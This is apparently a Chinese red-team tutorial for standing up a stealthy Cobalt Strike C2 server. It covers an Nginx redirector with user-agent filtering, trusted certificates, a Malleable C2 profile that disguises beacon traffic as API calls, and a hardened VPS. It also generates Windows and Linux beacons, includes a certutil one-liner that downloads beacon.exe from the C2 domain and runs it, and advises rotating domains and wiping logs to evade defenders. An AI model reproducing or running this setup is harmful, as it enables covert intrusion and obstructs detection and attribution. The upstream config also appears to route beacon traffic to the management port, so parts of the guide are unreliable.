在红蓝对抗中,C2(Command & Control)服务器是红队的 “神经中枢”—— 其稳定性决定行动能否持续,隐蔽性决定能否避开蓝队溯源。多数红队行动暴露,根源在于 C2 存在明显指纹(如默认 50050 端口、CS 特征证书、异常 UA 流量)。
本文基于 Cobalt Strike 4.7框架,从 “基础环境搭建→服务端深度配置→流量伪装→实战验证” 全流程拆解,每个步骤附 命令行 + 原理说明 + 排错方案,新手可按步骤落地,老手可参考隐蔽性优化思路。
类别 | 要求与说明 |
---|---|
VPS 服务器 | 优先选择海外节点(如 Vultr/Contabo),避免国内备案;配置 2 核 4G 起(支撑 100+Beacon 并发) |
域名 | 非备案域名(推荐 Godaddy/Namecheap 注册,开启 Whois 隐私保护,避免个人信息泄露) |
必备工具 | Java 11(CS 依赖,高版本兼容问题多)、Nginx(反向代理)、Certbot(SSL 证书)、Keytool(Java 证书管理)、OpenSSL(证书格式转换) |
辅助工具 | ProcessHacker(Windows 进程监控)、Wireshark(流量抓包)、c2lint(CS Profile 语法检查)、微步在线(域名 / IP 信誉查询) |
CS 基于 Java 开发,必须使用 AdoptOpenJDK 11(经实战验证最稳定),Java 8/17 易出现证书加载失败、内存溢出问题。
系统自带的 OpenJDK 缺少部分依赖,需先清理:
# 卸载所有OpenJDK相关包
sudo apt remove openjdk-* -y
# 清理残留依赖
sudo apt autoremove -y
从官方源下载,避免第三方镜像篡改风险:
# 进入/usr/local(Linux标准第三方软件目录)
cd /usr/local
# 下载x64架构压缩包(适配绝大多数VPS)
wget https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.21%2B9/OpenJDK11U-jdk_x64_linux_hotspot_11.0.21_9.tar.gz
# 解压并简化目录名(便于后续配置)
tar -zxvf OpenJDK11U-jdk_x64_linux_hotspot_11.0.21_9.tar.gz
mv OpenJDK11U-jdk_x64_linux_hotspot_11.0.21_9 java11
编辑/etc/profile
确保所有用户可调用 Java:
sudo vim /etc/profile
# 在文件末尾添加以下内容
export JAVA_HOME=/usr/local/java11
export JRE_HOME=$JAVA_HOME/jre
export PATH=$JAVA_HOME/bin:$JRE_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib:$JRE_HOME/lib
保存退出后,使配置立即生效:
source /etc/profile
执行以下命令,若输出版本信息则成功:
# 验证Java运行环境
java -version
# 验证Java编译环境(CS无需编译,但需确保完整)
javac -version
预期输出:
openjdk version "11.0.21" 2023-10-17
OpenJDK Runtime Environment Temurin-11.0.21+9 (build 11.0.21+9)
OpenJDK 64-Bit Server VM Temurin-11.0.21+9 (build 11.0.21+9, mixed mode)
CS 服务端核心文件包括teamserver
(启动脚本)、cobaltstrike.jar
(核心程序),需按 “目录创建→文件上传→证书初始化→端口修改” 流程操作。
建议将 CS 放在/opt/cs
(Linux 推荐的第三方工具目录),避免与系统文件混淆:
# 创建目录并赋予当前用户权限(避免权限报错)
sudo mkdir -p /opt/cs
sudo chown $USER:$USER /opt/cs
# 本地通过scp上传CS压缩包(替换本地路径和VPS IP)
# 本地终端执行:
scp C:\Local\Path\cobaltstrike4.7.zip root@VPS_IP:/opt/cs/
# VPS端解压压缩包
cd /opt/cs
unzip cobaltstrike4.7.zip
CS 默认证书包含 “Cobalt Strike” 关键字,易被蓝队特征检测识别,需生成仿 “企业域名” 的证书:
# 生成Java密钥库(.store格式,CS专用)
keytool -genkey -alias cs-cert -keyalg RSA -validity 3650 \
-keystore /opt/cs/cobaltstrike.store \
-storepass RedTeam@2024 \ # 密钥库密码(后续需频繁使用,记牢)
-keypass RedTeam@2024 \ # 证书密码(与密钥库密码一致,避免混淆)
-dname "CN=your.domain, OU=IT Dept, O=Enterprise, L=Beijing, ST=Beijing, C=CN"
# 参数说明:
# -validity 3650:证书有效期10年,减少续签频率
# -dname:证书主题,CN必须与你的域名一致,O/L/ST/C仿企业信息填写
验证证书:执行以下命令查看证书详情,确保有效期和主题正确:
keytool -list -v -keystore /opt/cs/cobaltstrike.store -storepass RedTeam@2024
CS 默认监听 50050 端口(蓝队重点监控),需改为非标准端口(如 65000,避免 1024 以下特权端口冲突):
# 编辑teamserver启动脚本
vim /opt/cs/teamserver
# 找到末尾启动命令,原内容如下:
# java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 \
# -Dcobaltstrike.server_bindto=127.0.0.1 \
# -Djavax.net.ssl.keyStore=./cobaltstrike.store \
# -Djavax.net.ssl.keyStorePassword=123456 \
# -server -XX:+AggressiveHeap -XX:+UseParallelGC \
# -classpath ./cobaltstrike.jar server.TeamServer $*
# 修改为以下内容(重点改端口、绑定IP、密码):
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=65000 \
-Dcobaltstrike.server_bindto=0.0.0.0 \ # 允许所有IP访问(客户端需连接)
-Djavax.net.ssl.keyStore=./cobaltstrike.store \
-Djavax.net.ssl.keyStorePassword=RedTeam@2024 \
-server -XX:+AggressiveHeap -XX:+UseParallelGC \
-classpath ./cobaltstrike.jar server.TeamServer $*
保存后赋予脚本执行权限:
chmod +x /opt/cs/teamserver
启动时需指定 VPS 公网 IP 和客户端连接密码,后台运行避免终端关闭后进程终止:
# 启动CS(第一个参数:VPS公网IP;第二个参数:客户端连接密码)
cd /opt/cs
./teamserver VPS_IP RedTeam@2024 &
# 验证端口监听(65000处于LISTEN状态即成功)
netstat -tulnp | grep 65000
# 预期输出:
# tcp 0 0 0.0.0.0:65000 0.0.0.0:* LISTEN 1234/java
# 查看CS日志(无报错即正常,报错需检查Java版本或证书路径)
tail -f /opt/cs/logs/teamserver.log
Nginx 是 C2 隐蔽的 “第一道防线”,核心作用:① 对外暴露 443/80(标准 HTTP/HTTPS 端口,伪装正常网站);② 过滤非指定 UA / 非法路径;③ 集中管理 SSL 证书,避免 CS 直接暴露证书指纹。
Ubuntu 默认源的 Nginx 版本稳定,直接安装后备份默认配置(避免端口冲突):
# 安装Nginx
sudo apt update && sudo apt install nginx -y
# 备份默认配置(默认配置占用80端口,与C2需求冲突)
sudo mv /etc/nginx/sites-available/default /etc/nginx/sites-available/default.bak
sudo rm /etc/nginx/sites-enabled/default # 删除默认启用的软链接
新建/etc/nginx/sites-available/c2.conf
,配置 SSL、UA 过滤、路径转发(替换your.domain
为你的域名):
# 定义上游CS服务端(CS真实地址和端口,与teamserver配置一致)
upstream cs_server {
server 127.0.0.1:65000;
keepalive 10; # 保持10个长连接,减少TCP握手开销
}
# HTTPS服务配置(对外暴露443端口,伪装正常网站)
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name your.domain; # 你的域名
# SSL证书路径(后续用Certbot生成Let's Encrypt证书,先占位)
ssl_certificate /etc/letsencrypt/live/your.domain/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/your.domain/privkey.pem;
# SSL安全优化(禁用弱加密算法,符合浏览器安全标准)
ssl_protocols TLSv1.2 TLSv1.3; # 禁用TLSv1.0/1.1(已被列为不安全)
ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512:ECDHE-RSA-AES256-GCM-SHA384;
ssl_prefer_server_ciphers on; # 优先使用服务端加密套件
ssl_session_cache shared:SSL:10m; # 会话缓存,减少重复握手
ssl_session_timeout 10m; # 会话超时时间
# 日志配置(记录访问日志,便于排错)
access_log /var/log/nginx/c2_access.log;
error_log /var/log/nginx/c2_error.log;
# 核心:流量过滤规则(仅允许指定UA和路径访问)
location ~ ^(/jquery-3.6.0.min.js|/api/v1/data)$ { # 伪装成JS和API路径
# 1. 过滤非指定UA(仅允许仿Chrome的UA,其他返回403)
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36") {
return 403; # 非指定UA返回403,伪装权限不足
}
# 2. 转发到CS服务端
proxy_pass https://cs_server;
# 3. 传递真实IP和Host头(避免CS获取Nginx内网IP)
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
# 4. 禁用缓存(避免CDN/浏览器缓存C2流量)
expires off;
proxy_redirect off;
}
# 非指定路径请求,重定向到百度(伪装正常网站跳转)
location / {
return 302 https://www.baidu.com;
}
}
# HTTP服务配置(80端口重定向到HTTPS,符合正常网站行为)
server {
listen 80;
listen [::]:80;
server_name your.domain;
return 301 https://$host$request_uri; # 强制HTTPS
}
配置完成后需启用并重启 Nginx,确保无语法错误:
# 启用C2配置(创建软链接到sites-enabled目录)
sudo ln -s /etc/nginx/sites-available/c2.conf /etc/nginx/sites-enabled/
# 检查配置语法(输出“test is successful”则无错误)
sudo nginx -t
# 重启Nginx并设置开机自启
sudo systemctl restart nginx
sudo systemctl enable nginx # 避免VPS重启后Nginx失效
通过curl
命令验证 UA 过滤和路径转发是否生效:
# 1. 用指定UA访问允许路径(应返回200或CS响应)
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" https://your.domain/jquery-3.6.0.min.js
# 2. 用非指定UA访问(应返回403)
curl -k -A "TestUA" https://your.domain/jquery-3.6.0.min.js
# 3. 访问非指定路径(应重定向到百度)
curl -k -L https://your.domain/test # -L跟随重定向
CS 默认自签名证书会被浏览器标记 “不安全”,易被蓝队察觉,需申请 Let's Encrypt 免费可信证书(90 天有效期,支持自动续签)。
使用snap
安装 Certbot(官方推荐方式,避免依赖冲突),自动配置 Nginx:
# 安装snap(Ubuntu默认已安装,未安装则执行)
sudo apt install snapd -y
sudo snap install core && sudo snap refresh core
# 安装Certbot
sudo snap install --classic certbot
sudo ln -s /snap/bin/certbot /usr/bin/certbot
# 申请证书(自动修改Nginx配置,无需手动替换路径)
sudo certbot --nginx -d your.domain --register-unsafely-without-email --agree-tos
# 参数说明:
# --nginx:自动适配Nginx配置
# --register-unsafely-without-email:无需邮箱注册(避免信息泄露)
# --agree-tos:自动同意条款
Let's Encrypt 证书有效期仅 90 天,需配置定时任务自动续签:
# 测试续签(--dry-run模拟,无报错则正常)
sudo certbot renew --dry-run
# 添加定时任务(每月1号0点执行续签)
sudo crontab -e
# 在文件末尾添加:
0 0 1 * * certbot renew --quiet --post-hook "systemctl reload nginx"
# --quiet:静默执行;--post-hook:续签后重载Nginx使证书生效
通过浏览器访问https://your.domain
,地址栏显示 “小绿锁” 即生效;也可通过命令验证:
# 查看证书 issuer(包含“Let's Encrypt”即可信)
openssl s_client -connect your.domain:443 -servername your.domain 2>/dev/null | openssl x509 -noout -issuer
CS 默认流量存在固定指纹(如/css/style.css
路径、随机 IE UA),需通过 Malleable C2 Profile 修改流量特征,伪装成正常网站通信。
在/opt/cs/C2Profiles
目录新建custom.profile
,核心配置如下:
# 全局配置
set sample_name "Enterprise C2 Profile"; # Profile名称(便于识别)
set sleeptime "30000"; # Beacon默认休眠30秒(减少流量频率)
set jitter "20"; # 休眠波动20%,避免固定时间回连(防流量时序检测)
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36"; # 仿Chrome UA
# 关闭Stager托管(关键!防止攻击者下载Stage载荷分析)
http-stager {
set host_stage "false"; # 禁止CS托管Stage文件
set uri_x86 "/api/v1/stage/x86"; # 伪装x86 Stage路径(仿API接口)
set uri_x64 "/api/v1/stage/x64"; # 伪装x64 Stage路径
client {
header "Host" "your.domain";
header "Accept-Encoding" "gzip, br"; # 仿正常浏览器请求头
header "Referer" "https://your.domain/index.html"; # 伪造Referer(增强真实性)
}
server {
header "Server" "nginx/1.18.0 (Ubuntu)"; # 伪装Nginx响应头
header "Content-Type" "application/javascript"; # 伪装JS文件类型
output {
base64; # 对Stage载荷Base64编码(混淆内容)
prepend "// Enterprise API Script"; # prepend注释(伪装JS注释)
print;
}
}
}
# HTTPS证书配置(关联之前生成的.store文件)
https-certificate {
set keystore "/opt/cs/cobaltstrike.store";
set password "RedTeam@2024";
}
# HTTP-GET配置(Beacon获取命令)
http-get {
set uri "/api/v1/data?type=status"; # 伪装API查询路径
client {
header "Host" "your.domain";
header "Accept" "application/json"; # 仿API请求格式
# Metadata(Beacon元数据)编码后放在Cookie头
metadata {
base64url; # URL安全Base64编码
prepend "sessionId=";
header "Cookie";
}
}
server {
header "Server" "nginx/1.18.0 (Ubuntu)";
header "Content-Type" "application/json";
output {
base64url;
prepend "{\"data\":\""; # 伪装JSON格式
append "\"}";
print;
}
}
}
# HTTP-POST配置(Beacon上传结果)
http-post {
set uri "/api/v1/data/submit";
client {
header "Host" "your.domain";
header "Content-Type" "application/json";
# Beacon ID编码后放在URL参数
id {
base64url;
parameter "deviceId";
}
output {
base64url;
prepend "{\"result\":\"";
append "\"}";
print;
}
}
server {
header "Server" "nginx/1.18.0 (Ubuntu)";
header "Content-Type" "application/json";
output {
print "{\"status\":\"success\"}"; # 伪装正常API响应
}
}
}
CS 自带的c2lint
工具可检测语法错误,避免启动时报错:
cd /opt/cs
./c2lint ./C2Profiles/custom.profile
# 若输出“[+] Profile compiled OK”则无错误;若有警告(如UA过长),需按提示修改
修改teamserver
脚本,默认加载自定义 Profile,避免每次启动手动指定:
vim /opt/cs/teamserver
# 在启动命令末尾添加Profile路径,修改后如下:
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=65000 \
-Dcobaltstrike.server_bindto=0.0.0.0 \
-Djavax.net.ssl.keyStore=./cobaltstrike.store \
-Djavax.net.ssl.keyStorePassword=RedTeam@2024 \
-server -XX:+AggressiveHeap -XX:+UseParallelGC \
-classpath ./cobaltstrike.jar server.TeamServer $* ./C2Profiles/custom.profile
重启 CS 使 Profile 生效:
# 先杀死原有CS进程
ps aux | grep java | grep cobaltstrike | awk '{print $2}' | xargs kill -9
# 重新启动CS
./teamserver VPS_IP RedTeam@2024 &
除 C2 本身配置外,VPS 系统层面需加固,避免被蓝队通过端口扫描、Ping 探测发现。
通过内核参数禁用 ICMP Ping 请求,蓝队 Ping VPS 时显示 “请求超时”:
# 临时禁用(重启后失效)
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
# 永久禁用(修改sysctl.conf)
sudo vim /etc/sysctl.conf
# 添加以下内容
net.ipv4.icmp_echo_ignore_all = 1
# 使配置生效
sudo sysctl -p
仅开放 443(HTTPS)、22(SSH 管理)端口,关闭其他所有端口:
# 启用UFW防火墙
sudo ufw enable
# 允许SSH(22端口)和HTTPS(443端口)
sudo ufw allow 22/tcp
sudo ufw allow 443/tcp
# 默认拒绝所有入站请求,允许所有出站请求
sudo ufw default deny incoming
sudo ufw default allow outgoing
# 查看防火墙状态(确认22和443已允许)
sudo ufw status
SSH 默认暴露版本信息(如OpenSSH_8.2p1
),需修改配置隐藏:
sudo vim /etc/ssh/sshd_config
# 添加以下内容
Banner none
VersionAddendum none
# 重启SSH服务
sudo systemctl restart sshd
# 验证(本地执行,无版本信息即成功)
ssh -v root@VPS_IP 2>&1 | grep "Remote protocol version"
通过 CS 客户端生成 Stageless 可执行程序(避免 Stage 载荷被拦截):
连接 CS 客户端:打开 CS,输入 VPS IP(1.2.3.4)、端口(65000)、密码(RedTeam@2024),点击 “Connect”。
新建监听器:
点击 “Cobalt Strike→Listeners→Add”;
Name:自定义(如win-https
);
Payload:选择 “Beacon HTTPS”;
HTTPS Hosts:填写your.domain
;
HTTPS Port:443;
Profile:选择custom.profile
;
点击 “Save”。
生成 Payload:
点击 “Attacks→Packages→Windows Executable (Stageless)”;
Listener:选择新建的win-https
;
保存为beacon.exe
。
测试机执行:
# Windows命令行执行(避免双击报毒)
certutil -urlcache -split -f "https://your.domain/beacon.exe" beacon.exe && beacon.exe
验证:CS 客户端 “Beacon” 面板出现测试机信息,执行shell whoami
返回用户名即成功。
针对 Linux 目标,需使用 CrossC2 生成适配的 Beacon:
# 1. 下载CrossC2工具(VPS端执行)
cd /opt/cs
git clone https://github.com/gloxec/CrossC2.git
# 2. 生成Linux Beacon(替换参数为实际信息)
./CrossC2/genCrossC2.Linux your.domain 443 \
/opt/cs/.cobaltstrike.beacon_keys \
/opt/cs/C2Profiles/custom.profile \
Linux x64 linux_beacon
# 3. 上传到Linux测试机并执行
scp linux_beacon root@Linux_IP:/tmp/
ssh root@Linux_IP "chmod +x /tmp/linux_beacon && /tmp/linux_beacon"
验证:CS 客户端出现 Linux 主机 Beacon,执行shell ifconfig
返回网络信息即成功。
问题现象 | 可能原因 | 解决方案 |
---|---|---|
Beacon 不上线 | Nginx UA 过滤规则不匹配 / Profile 路径错误 | 查看/var/log/nginx/c2_access.log ,确认请求 UA 和路径是否与配置一致;用c2lint 重新检查 Profile |
CS 启动报 “证书加载失败” | Java 版本错误 / 证书密码错误 | 确认 Java 为 11 版本;执行keytool -list 验证证书密码,重新生成证书(若密码错误) |
Nginx 重启报 “语法错误” | 配置文件括号不匹配 / 路径错误 | 执行nginx -t 查看具体错误行(如 “missing}”),修正后重试 |
防火墙开启后 SSH 连不上 | UFW 未允许 22 端口 / 端口被误封 | 通过 VPS 控制台登录,执行sudo ufw allow 22/tcp ;查看/var/log/ufw.log 确认是否被拦截 |
证书续签失败 | Nginx 配置路径错误 / Certbot 权限不足 | 执行certbot renew --dry-run 查看错误日志;确保/etc/letsencrypt 目录权限为 755 |
分层防御:Nginx(流量过滤)→ 可信证书(规避风险提示)→ 自定义 Profile(消除 CS 指纹)→ 防火墙(端口收敛),层层隐藏特征。
场景化伪装:流量路径(如/api/v1/data
)、UA(仿 Chrome)、响应格式(JSON/JS)均模仿目标环境正常服务,避免 “异常流量” 标签。
动态化运营:每 1-2 周更换域名(避免被威胁情报标记)、自动续签证书、调整 Beacon 休眠时间(根据目标网络繁忙程度)。
最小化暴露:禁用 Stager 托管、关闭不必要端口、隐藏 SSH 版本,减少攻击面;行动后及时清理 VPS 日志(/var/log/nginx/
、/opt/cs/logs/
)。